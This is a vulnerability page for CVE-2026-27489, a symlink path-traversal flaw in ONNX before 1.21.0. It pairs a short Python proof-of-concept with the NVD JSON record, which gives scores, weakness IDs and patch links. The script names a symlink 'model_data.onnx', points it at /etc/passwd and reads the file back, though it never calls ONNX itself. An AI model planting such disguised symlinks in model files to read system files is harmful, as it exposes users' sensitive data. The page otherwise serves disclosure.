CVE-2026-27489

import os import sys # PoC for CVE-2026-27489: ONNX Path Traversal via Symlink # This script demonstrates the concept of creating a symlink to a sensitive file # that an attacker might trick a vulnerable ONNX loader into reading. def create_malicious_symlink(): target_file = "/etc/passwd" # Target file to read malicious_link = "model_data.onnx" # Name of the symlink print(f"[*] Creating symlink '{malicious_link}' pointing to '{target_file}'...") try: os.symlink(target_file, malicious_link) print("[+] Symlink created successfully.") # Simulate the vulnerable behavior: reading the file via the symlink if os.path.exists(malicious_link): with open(malicious_link, 'r') as f: content = f.read() print("[+] Content read via symlink (Vulnerable behavior):") print(content[:100] + "...") except Exception as e: print(f"[-] Error: {e}") finally: # Cleanup if os.path.islink(malicious_link): os.remove(malicious_link) print("[*] Symlink removed.") if __name__ == "__main__": create_malicious_symlink()

{"cve": {"id": "CVE-2026-27489", "sourceIdentifier": "[email protected]", "published": "2026-04-01T18:16:28.287", "lastModified": "2026-04-07T20:22:04.480", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Open Neural Network Exchange (ONNX) is an open standard for machine learning interoperability. Prior to version 1.21.0, a path traversal vulnerability via symlink allows to read arbitrary files outside model or user-provided directory. This issue has been patched in version 1.21.0."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-23"}, {"lang": "en", "value": "CWE-61"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:linuxfoundation:onnx:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.21.0", "matchCriteriaId": "D94F43D7-D50D-4698-B07D-215EBBAB63F2"}]}]}], "references": [{"url": "https://github.com/onnx/onnx/commit/4755f8053928dce18a61db8fec71b69c74f786cb", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/onnx/onnx/security/advisories/GHSA-3r9x-f23j-gc73", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Patch", "Vendor Advisory"]}]}}